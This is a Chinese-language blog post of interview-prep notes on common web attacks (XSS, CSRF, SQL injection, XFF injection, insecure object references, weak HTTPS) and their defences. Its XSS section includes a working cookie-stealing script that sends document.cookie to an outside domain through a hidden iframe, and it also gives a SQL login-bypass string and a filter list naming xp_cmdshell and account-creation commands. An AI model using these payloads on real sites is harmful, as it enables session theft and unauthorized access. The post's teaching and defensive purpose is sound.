競爭激烈的互聯網時代，是否須要注重一下WEB安全？

前言

一直以來本身對WEB安全方面的知識瞭解的比較少，最近有點閒工夫瞭解了一下。也是爲了之後面試吧，以前就遇到過問WEB安全方面的問題，答的不是很理想，因此整理了一下！

1、XSS攻擊

跨站腳本攻擊(Cross Site Scripting)，爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意的Script代碼，當用戶瀏覽該頁之時，嵌入其中Web裏面的Script代碼會被執行，從而達到惡意攻擊用戶的目的。

特色：盡一切辦法在目標網站上執行非目標網站上原有的腳本。

XSS危害

1. 使用js或css破壞頁面正常的結構與樣式
2. 經過document.cookie盜取cookie，實現無密碼訪問
3. 流量劫持（經過訪問某段具備window.location.href定位到其餘頁面）
4. Dos攻擊：利用合理的客戶端請求來佔用過多的服務器資源，從而使合法用戶沒法獲得服務器響應。
5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻擊）用戶的身份執行一些管理動做，或執行一些通常的如發微博、加好友、發私信等操做。
6. 利用可被攻擊的域受到其餘域信任的特色，以受信任來源的身份請求一些平時不容許的操做，如進行不當的投票活動。

攻擊方式

1. Reflected XSS（基於反射的XSS攻擊）

非持久型，反射型 XSS 漏洞常見於經過 URL 傳遞參數的功能，如網站搜索、跳轉等。因爲須要用戶主動打開惡意的 URL 才能生效，攻擊者每每會結合多種手段誘導用戶點擊。POST 的內容也能夠觸發反射型 XSS，只不過其觸發條件比較苛刻（須要構造表單提交頁面，並引導用戶點擊），因此很是少見。

反射型 XSS 的攻擊步驟：

• 攻擊者構造出特殊的 URL，其中包含惡意代碼。
• 用戶打開帶有惡意代碼的 URL 時，網站服務端將惡意代碼從 URL 中取出，拼接在 HTML 中返回給瀏覽器。
• 用戶瀏覽器接收到響應後解析執行，混在其中的惡意代碼也被執行。
• 惡意代碼竊取用戶數據併發送到攻擊者的網站，或者冒充用戶的行爲，調用目標網站接口執行攻擊者指定的操做。

2. Stored XSS（基於存儲的XSS攻擊）

持久型，這種攻擊常見於帶有用戶保存數據的網站功能，如論壇發帖、商品評論、用戶私信等。

存儲型 XSS 的攻擊步驟：

• 攻擊者將惡意代碼提交到目標網站的數據庫中。
• 用戶打開目標網站時，網站服務端將惡意代碼從數據庫取出，拼接在 HTML 中返回給瀏覽器。
• 用戶瀏覽器接收到響應後解析執行，混在其中的惡意代碼也被執行。
• 惡意代碼竊取用戶數據併發送到攻擊者的網站，或者冒充用戶的行爲，調用目標網站接口執行攻擊者指定的操做。

3. DOM-based or local XSS（基於DOM或本地的XSS攻擊）

般是提供一個免費的wifi，可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面，從而植入惡意腳本。這種直接存在於頁面，無須通過服務器返回就是基於本地的XSS攻擊。

DOM 型 XSS 的攻擊步驟：

• 攻擊者構造出特殊的 URL，其中包含惡意代碼。
• 用戶打開帶有惡意代碼的 URL。
• 用戶瀏覽器接收到響應後解析執行，前端 JavaScript 取出 URL 中的惡意代碼並執行。
• 惡意代碼竊取用戶數據併發送到攻擊者的網站，或者冒充用戶的行爲，調用目標網站接口執行攻擊者指定的操做。

簡單案例

使用xss彈出惡意警告框，代碼爲：

<script>alert("xss")</script>
複製代碼

xss輸入也多是html代碼段，若是使網頁不停的刷新，代碼爲：

<meta http-equiv="refresh" content="0;">
複製代碼

嵌入其餘網站連接的代碼爲：

<iframe src="http://www.jsay.org" width=0 height=0></iframe>
<!-- jsay.org 我的小站還沒開始運行哦！ -->
複製代碼

JavaScript 寫一個請求跨站的腳本就是XSS了，以下：

<!-- jsay.org 我的小站還沒開始運行哦！ -->
<!-- 將此段代碼放在評論/留言框中提交 -->
<script type="text/javascript"> (function(window, document) { // 構造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://www.jsay.org/xss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 創建隱藏 iframe 用於通信 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 開工 document.body.appendChild(hideFrame); })(window, document); </script>
複製代碼

XSS防護

思路：對輸入(和URL參數)進行過濾，對輸出進行編碼。也就是對提交的全部內容進行過濾，對url中的參數進行過濾，過濾掉會致使腳本執行的相關內容；而後對動態輸出到頁面的內容進行html編碼，使腳本沒法在瀏覽器中執行。雖然對輸入過濾能夠被繞過，可是也仍是會攔截很大一部分的XSS攻擊。

1. 對輸入、URL參數等（如：<>、/ 、&、'、" ）進行轉義、過濾，僅接受指定長度範圍內並符合咱們指望格式的的內容提交，阻止或者忽略除此外的其餘任何數據；
2. 輸出數據以前對潛在的威脅的字符進行編碼、轉義；
3. XSS 通常利用js腳步讀取用戶瀏覽器中的Cookie，而若是在服務器端對 Cookie 設置了HttpOnly 屬性，那麼js腳本就不能讀取到cookie，可是瀏覽器仍是可以正常使用cookie。
4. 設置黑、白名單；
5. Content Security Policy 的實質就是白名單制度，開發者明確告訴客戶端，哪些外部資源能夠加載和執行，等同於提供白名單。它的實現和執行所有由瀏覽器完成，開發者只需提供配置。

2、CSRF攻擊

CSRF（Cross-site request forgery）跨站請求僞造，也被稱爲「One Click Attack」或者Session Riding，一般縮寫爲CSRF或者XSRF，是一種對網站的惡意利用。儘管聽起來像跨站腳本（XSS），但它與XSS很是不一樣，XSS利用站點內的信任用戶，而CSRF則經過假裝成受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊每每不大流行（所以對其進行防範的資源也至關稀少）和難以防範，因此被認爲比XSS更具危險性。

本質緣由：CSRF攻擊是源於Web的隱式身份驗證機制。Web的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器，但卻沒法保證該請求是用戶批准發送的。CSRF攻擊的通常是由服務端解決。

CSRF攻擊條件：

• 登陸受信任網站A，並在本地生成Cookie。
• 在不登出A的狀況下，訪問危險網站B。

雖然有些時候你訪問B網站的時候，並無訪問A網站，可是你並不能保證以前登陸過A網站的本地Cookie已過時，這個時候B網站同樣是能夠發起攻擊。 CSRF攻擊是源於WEB的隱式身份驗證機制！WEB的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器，但卻沒法保證該請求是用戶批准發送的！

CSRF的防護

1. Cookie Hashing(全部表單都包含同一個僞隨機值);
2. 驗證碼;
3. One-Time Tokens(不一樣的表單包含一個不一樣的僞隨機值);
4. 不讓第三方網站訪問到用戶 Cookie，阻止第三方網站請求接口。

3、SQL注入

經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。它是利用現有應用程序，將（惡意的）SQL命令注入到後臺數據庫引擎執行的能力，它能夠經過在Web表單中輸入（惡意）SQL語句獲得一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。

原理

SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序，而這些輸入大都是SQL語法裏的一些組合，經過執行SQL語句進而執行攻擊者所要的操做，其主要緣由是程序沒有細緻地過濾用戶輸入的數據，導致非法數據侵入系統。

簡單舉例：

// 前端給後端post鍵值對，登陸的用戶名和密碼
let data = {
  username: 'admin',
  pwd: 'abc123456'
}
// 後端的sql語句
 SELECT * FROM user WHERE username='${username}' AND psw='${pwd}'
複製代碼

這個時候前端的 username 別人輸入 admin' -- ；這個時候查詢的 SQL 語句就變成這樣子了：

SELECT * FROM user WHERE username='admin' -- AND psw='${pwd}'
複製代碼

Ps: -- 在SQL語句裏面是註釋，也就是說登陸的查詢條件變成了不須要驗證密碼！

SQL注入防護

1. 永遠不要信任用戶的輸入。對用戶的輸入進行校驗，能夠經過正則表達式，或限制長度；對單引號和 雙"-"進行轉換等。
2. 永遠不要使用動態拼裝sql，可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3. 永遠不要使用管理員權限的數據庫鏈接，爲每一個應用使用單獨的權限有限的數據庫鏈接。
4. 不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息。
5. 應用的異常信息應該給出儘量少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝
6. sql注入的檢測方法通常採起輔助軟件或網站平臺來檢測，軟件通常採用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS能夠有效的防護SQL注入，XSS攻擊等。

4、XFF注入

X-Forwarded-for的縮寫，XFF注入是SQL注入的一種，該注入原理是經過修改X-Forwarded-for頭對帶入系統的dns進行sql注入，從而獲得網站的數據庫內容。

XFF的預防

1. 過濾http頭中的X-Forwarded-for header中的內容，不容許其插入敏感字符，過濾字符參考sql注入修復方案。

2. 過濾如下敏感字符。須要過濾的特殊字符及字符串有：

   net user
   xp_cmdshell
   add
   exec master.dbo.xp_cmdshell
   net localgroup administrators
   select
   count
   Asc
   char
   mid
   ' ： " insert delete from drop table update truncate from % 複製代碼

5、不安全的直接對象引用

當開發人員公開對內部實現對象的引用（例如URL或FORM參數中的文件，目錄或數據庫鍵）時，就會發生這種狀況。攻擊者可使用此信息訪問其餘對象，並能夠建立未來的攻擊來訪問未經受權的數據。

簡單舉例： 更改如下URL中的 userid 可使攻擊者查看其餘用戶的信息。 http://www.jsay.org/userid=123 修改成 http://www.jsay.org/userid=124 攻擊者能夠經過更改用戶標識值來查看其餘信息。或者文件容許下載訪問 http://www.jsay.org/a.txt ，可是經過 http://www.jsay.org/b.txt 能夠看到不容許訪問的文件！

防護

1. 實施訪問控制檢查。
2. 避免在URL中公開對象引用。
3. 驗證對全部引用對象的受權。

6、傳輸層保護不足

處理用戶（客戶端）和服務器（應用程序）之間的信息交換。應用程序常常經過網絡傳輸敏感信息，如身份驗證詳細信息，信用卡信息和會話令牌。經過使用弱算法或使用過時或無效的證書或不使用SSL，能夠容許將通訊暴露給不受信任的用戶，這可能會危及Web應用程序和/或竊取敏感信息。

防護

1. 啓用安全HTTP並僅經過HTTPS強制執行憑據傳輸。
2. 確保您的證書有效且未過時。

我本身運營的公衆號，記錄我本身的成長

公衆號：前端曰

公衆號ID：js-say

ps：是(yue)不是(ri)